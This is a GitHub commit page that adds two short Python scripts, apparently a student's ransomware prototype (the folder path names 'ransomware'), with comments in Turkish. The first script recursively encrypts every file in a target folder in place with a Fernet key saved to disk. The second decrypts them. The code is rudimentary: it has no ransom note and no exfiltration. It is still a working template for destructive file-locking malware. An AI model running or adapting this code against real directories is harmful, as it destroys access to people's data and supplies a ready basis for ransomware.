-
Notifications
You must be signed in to change notification settings - Fork 4
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
faf9501
commit e207640
Showing
2 changed files
with
84 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
import os | ||
from cryptography.fernet import Fernet | ||
|
||
def generate_key(): | ||
return Fernet.generate_key() | ||
|
||
def save_key(key, filename='secret.key'): | ||
with open(filename, 'wb') as key_file: | ||
key_file.write(key) | ||
|
||
def load_key(filename='secret.key'): | ||
return open(filename, 'rb').read() | ||
|
||
def encrypt_file(key, filename): | ||
fernet = Fernet(key) | ||
|
||
with open(filename, 'rb') as file: | ||
file_data = file.read() | ||
|
||
encrypted_data = fernet.encrypt(file_data) | ||
|
||
with open(filename, 'wb') as encrypted_file: | ||
encrypted_file.write(encrypted_data) | ||
|
||
def encrypt_folder(key, folder_path): | ||
fernet = Fernet(key) | ||
|
||
for foldername, subfolders, filenames in os.walk(folder_path): | ||
for filename in filenames: | ||
file_path = os.path.join(foldername, filename) | ||
|
||
with open(file_path, 'rb') as file: | ||
file_data = file.read() | ||
|
||
encrypted_data = fernet.encrypt(file_data) | ||
|
||
with open(file_path, 'wb') as encrypted_file: | ||
encrypted_file.write(encrypted_data) | ||
|
||
# Anahtar oluşturma ve kaydetme | ||
key = generate_key() | ||
save_key(key) | ||
|
||
# Klasör ve altındaki dosyaları şifreleme | ||
folder_path = 'example_folder' | ||
encrypt_folder(key, folder_path) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
import os | ||
from cryptography.fernet import Fernet | ||
|
||
def load_key(filename='secret.key'): | ||
return open(filename, 'rb').read() | ||
|
||
def decrypt_file(key, filename): | ||
fernet = Fernet(key) | ||
|
||
with open(filename, 'rb') as encrypted_file: | ||
encrypted_data = encrypted_file.read() | ||
|
||
decrypted_data = fernet.decrypt(encrypted_data) | ||
|
||
with open(filename, 'wb') as decrypted_file: | ||
decrypted_file.write(decrypted_data) | ||
|
||
def decrypt_folder(key, folder_path): | ||
fernet = Fernet(key) | ||
|
||
for foldername, subfolders, filenames in os.walk(folder_path): | ||
for filename in filenames: | ||
file_path = os.path.join(foldername, filename) | ||
|
||
with open(file_path, 'rb') as encrypted_file: | ||
encrypted_data = encrypted_file.read() | ||
|
||
decrypted_data = fernet.decrypt(encrypted_data) | ||
|
||
with open(file_path, 'wb') as decrypted_file: | ||
decrypted_file.write(decrypted_data) | ||
|
||
# Anahtarı yükleme | ||
key = load_key() | ||
|
||
# Klasör ve altındaki dosyaları çözme | ||
folder_path = 'C:/Users/DoganPc/Desktop/ransomware/deneme/' | ||
decrypt_folder(key, folder_path) |